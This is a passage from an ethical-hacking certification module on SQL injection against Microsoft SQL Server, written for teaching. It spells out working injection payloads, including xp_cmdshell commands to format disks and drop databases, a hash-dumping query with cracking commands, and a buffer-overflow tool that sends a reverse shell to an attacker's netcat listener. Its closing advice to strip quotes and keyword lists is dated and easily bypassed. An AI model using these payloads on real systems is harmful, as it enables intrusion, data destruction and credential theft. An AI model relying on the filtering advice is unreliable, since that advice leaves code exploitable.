susceptible to SQL injection, the attacker issues the following command. Username: '; shutdown with nowait; -- Password: [Anything] This would make our login.asp script run the following query: select userName from users where userName=''; shutdown with nowait; --' and userPass=''
  • 15. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 15 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited As mentioned before, the '--' character sequence is the 'single line comment' sequence in Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. If he has used the default sa account, or has acquired the required privileges, SQL server will shut down, and will require a restart in order to function again.
  • 16. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 16 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Extended Stored Procedures There are several extended stored procedures that can cause permanent damage to a system. We can execute an extended stored procedure using our login form with an injected command as the username as follows: Username: ' ; exec master..xp_xxx; -- Password: [Anything] Username: ' ; exec master..xp_cmdshell ' iisreset' ; -- Password: [Anything] A stored procedure is a collection of SQL statements that can be called as though they were a single function. A SQL stored procedure is similar to a batch file – both are text files consisting of commands, and can be run by invoking the name of the procedure or batch file. An extended stored procedure (XP) takes the notion of a stored procedure one step further. Where stored procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs. Stored procedures primarily consists of SQL commands, while XPs can provide entirely new functions via their code. An attacker can take advantage of extended stored procedure by entering a suitable command. This is possible if there is no proper input validation. xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: exec master..xp_cmdshell 'dir' will obtain a directory listing of the current working directory of the SQL Server process. In our example, the attacker may try entering the following input into a search form can be used for the attack. ' exec master..xp_cmdshell 'product handycam/DELETE' -- When the query string is parsed and sent to SQL Server, the server will process the following code: SELECT * FROM PTable WHERE inputtext ='' exec master..xp_cmdshell ' product handycam/DELETE' --'
  • 17. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 17 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited The advantage of this attack method is that the DLL file only needs to be present on a machine accessible by the SQL Server. Here, the first single quote entered by the user closes the string and SQL Server executes the next SQL statements in the batch including a command to delete a product to the product table in the database.
  • 18. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 18 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council SQL Server Talks! This command uses the 'speech.voicetext' object, causing the SQL Server to speak: It is possible for an attacker to leverage built-in extended stored procedures which are provided for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in VBScript or JavaScript, and they create automation objects and interact with them. They are functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can accomplish what an ASP script or a WSH script will do. Of the possible attack methodologies, this is an interesting one documented by Chris Anley in his oft quoted paper ‘Advanced SQL Injection techniques’. This is one example from his paper that illustrates this aspect. declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers belong to us', 528 waitfor delay '00:00:05' This uses the 'speech.voicetext' object, causing the SQL Server to speak.
  • 19. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 19 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Hacking Tool: SQLDict http://ntsecurity.nu/cgi- bin/download/sqldict.exe.pl "SQLdict"is a dictionary attack tool for SQL Server. It lets you test if the accounts are strong enough to resist an attack or not. We have discussed password cracking earlier in different contexts. When it comes to SQL Server, the fundamental attack methodology remains the same- dictionary attack and brute force. The only restraint for an attacker in implementing these attacks is that both require a local copy of the SQL Server’s hashes. As part of its defensive measure, SQL Server does restrict access to the password hashes in the syslogin table to administrator level users by default. However if the attacker has gained privileges to access then he can first try a dictionary attack. One such tool that can be used in this context is SQLdict. It is a dictionary attack tool for SQL Server and tests for vulnerable accounts. If this is unsuccessful, he can opt for a brute force attack. Though it is much slower, the brute force attack computes the hashes of every single possible combination of letters, numbers and punctuation characters for comparison with the stored hashes. It is possible to brute force SQL Server accounts remotely over the network.
  • 20. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 20 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Hacking Tool: SQLExec This tool executes commands on compromised MIcrosoft SQL Servers using xp_cmdshell stored procedure. It uses default sa account with NULL password. But this can be modified easily. USAGE: SQLExec www.target.com SQLExec is a command-line interface written by Egemen Tas for MS-SQL servers that will allow an attacker to execute commands on the underlying operating system, execute SQL queries and upload files to the remote server. It allows the attacker to execute remote commands as Administrator over tcp port 1433. It logs in with the default password (changeable) and includes a built-in scanner for finding unsecured hosts on the network. It is known that MS SQL Server comes with default SA(Sys Admin) account with NULL password. It seems that many system administrators do not take care of dangers of this situation. Because while we are searching the net we have found that over %80 of hosts we have scanned still have account SA with NO Password. By default SQL server comes with a few stored procedures .xp_cmdshell is one of them and used for executing commands with SQL server. Again by default SQL server installs it self with administrative privileges (Administrator). If some one has a right to access master database this means he can execute commands on the host. If the connected user is SA then commands are executed with the context of SQL server (Administrator by default) otherwise with the context of SQLExecutiveCmdExecAccount. Of course these behaviors occur with default installations.
  • 21. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 21 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Hacking Tool: sqlbf http://www.cqure.net/tools.jsp?id=10 Sqlbf is a SQL Sever Password Auditing tool. This tool should be used to audit the strength of Microsoft SQL Server passwords offline. The tool can be used either in BruteForce mode or in Dictionary attackmode. The performance on a 1GHZ pentium (256MB) machine is around 750,000 guesses/sec. To be able to perform an audit, one needs the password hashes that are stored in the sysxlogins table in the master database. The hashes are easy to retrieve although you need a privileged account to do so, like an sa account. The query to use would be: select name, password from master..sysxlogins To perform a dictionary attack on the retrieved hashes: sqlbf -u hashes.txt -d dictionary.dic -r out.rep This tool can be used to audit the strength of SQL Server passwords offline. The tool can be used either in Brute Force mode or in Dictionary attack mode. The performance on a 1 GHz Pentium (256mb) is around 750 000 guesses/sec. The program takes the password hashes as the input (The password hashes needs to be formatted in a text file accordingly) <username>, <hash> • To perform a dictionary attack on the retrieved hashes: usage sqlbf -u hashes.txt -d dictionary.dic -r out.rep This will run the dictionary.dic against the hashes in the hashes.txt file and report found matches in the out.rep file. • To perform a brute force attack on the retrieved hashes: usage sqlbf -u hashes.txt -c default.cm -r out.rep This will try to brute force the passwords by using the supplied character set in the default cm and output the results to out.rep.
  • 22. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 22 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Hacking Tool: SQLSmack SQLSmack is a Linux based Remote Command Execution for MSSQL. The tool allows when provided with a valid username and password on a remote MS SQL Server to execute commands by piping them through the stored procedure master..xp_cmdshell The tool allows when provided with a valid username and password on a remote Microsoft SQL server to execute commands by piping them through the stored procedure master..xp_cmdshell. [sqlsmack installation] 1. Install FreeTDS (url: http://www.freetds.org/download.html) $ tar -zpxvf freetds-0.XX.tgz $ cd freetds-0.XX $ ./configure --with-tdsver=70 --enable-msdblib $ make $ su # make install 2. Install the FreeTDS PERL Module (url: http://www.cpan.org/authors/id/S/SP/SPANNRING) * This assumes you already have the DBI module installed. $ tar -zpxvf DBD-FreeTDS-0.XX.tgz $ cd DBD-FreeTDS-0.XX $ perl Makefile.PL
  • 23. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 23 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited $ make $ su # make install 3. Usage [run system commands] $ ./sqlsmack.pl -h <ip> -c 'net view' [dump databases records] $ ./sqlsmack.pl -h <ip> -d MONEYDB -q 'SELECT * FROM users'
  • 24. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 24 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Hacking Tool: SQL2.exe SQL2 is a UDP Buffer Overflow Remote Exploit hacking tool. Using sql2.exe, a remote user can reportedly send a specially crafted packet to the SQL Server 2000 Resolution Service on UDP port 1434 to trigger one of two overflows, a heap overflow or a stack overflow. This could cause the SQL server service to crash or it could cause arbitrary code to be executed in the security context of the SQL Server service. This tool will compromise the SQL Server and spawn a remote shell to a system of the attacker’s choosing. The tool exploits a buffer overflow. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. Once the shell has been created it then connects out to a given IP address and port. It therefore becomes a remote exploit which uses UDP to overflow a buffer and send a shell to tcp port 53. SQL2 Syntax Launch two command prompt windows: CMD Window 1 Launch Netcat c:> nc -l -p 53 CMD Window 2 Launch SQL2 tool c:> sql2.exe 2.3.4.5 5.6.4.4 53 0 (sql2 <victim's ip> <your ip> <netcat port> <SQL Service pack>) This tool gained popularity as the code was used in the slammer worm, which affected a large number of websites.
  • 25. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 25 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Preventive Measures Minimize Privileges of Database Connection Disable verbose error messages Protect the system account ‘sa’ Audit Source Code • Escape Single Quotes • Allow only good input • Reject known bad input • Restrict length of input As we've seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding. Using ASP, it's a simple matter of creating a generic replace function that will handle the single quotes automatically, like this: <% function stripQuotes(strWords) <br /> stripQuotes = replace(strWords, &quot;'&quot;, &quot;''&quot;) <br /> end function %> Now if we use the stripQuotes function in conjunction with our first query for example, then it would go from this: select count(*) from users where userName='alice' and userPass='' or 1=1 --' ...to this: select count(*) from users where userName='alice’ and userPass=''' or 1=1 --'
  • 26. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 26 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid. Remove Culprit Characters/Character Sequences: As we've seen before, certain characters and character sequences such as ;, --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this: <% function killChars(strWords) dim badChars dim newChars badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_") newChars = strWords for i = 0 to uBound(badChars) newChars = replace(newChars, badChars(i), "") next killChars = newChars end function %> Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if the query: select prodName from products where id=1; xp_cmdshell 'format c: /q /yes '; drop database targetDB; -- is run through stripQuotes and then killChars, it would end up looking like this: prodName from products where id=1 cmdshell ''format c: /q /yes '' database targetDB This is basically useless, and will return no records from the query. By keeping all text boxes and form fields as short as possible, the number of characters that can be used to formulate an SQL injection attack is greatly reduced. Additional countermeasures include checking data type, and using the post method where possible to post forms.
  • 27. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 27 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Summary SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database. Database footprinting is the process of mapping out the tables on the database and is a crucial tool in the hands of an attacker. Exploits occur due to coding errors as well as inadequate validation checks . Prevention involves enforcing better coding practices and database administration procedures. Summary Recap • SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. • It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database. • Database footprinting is the process of mapping out the tables on the database and is a crucial tool in the hands of an attacker. • Exploits occur due to coding errors as well as inadequate validation checks. • Prevention involves enforcing better coding practices and database administration procedures.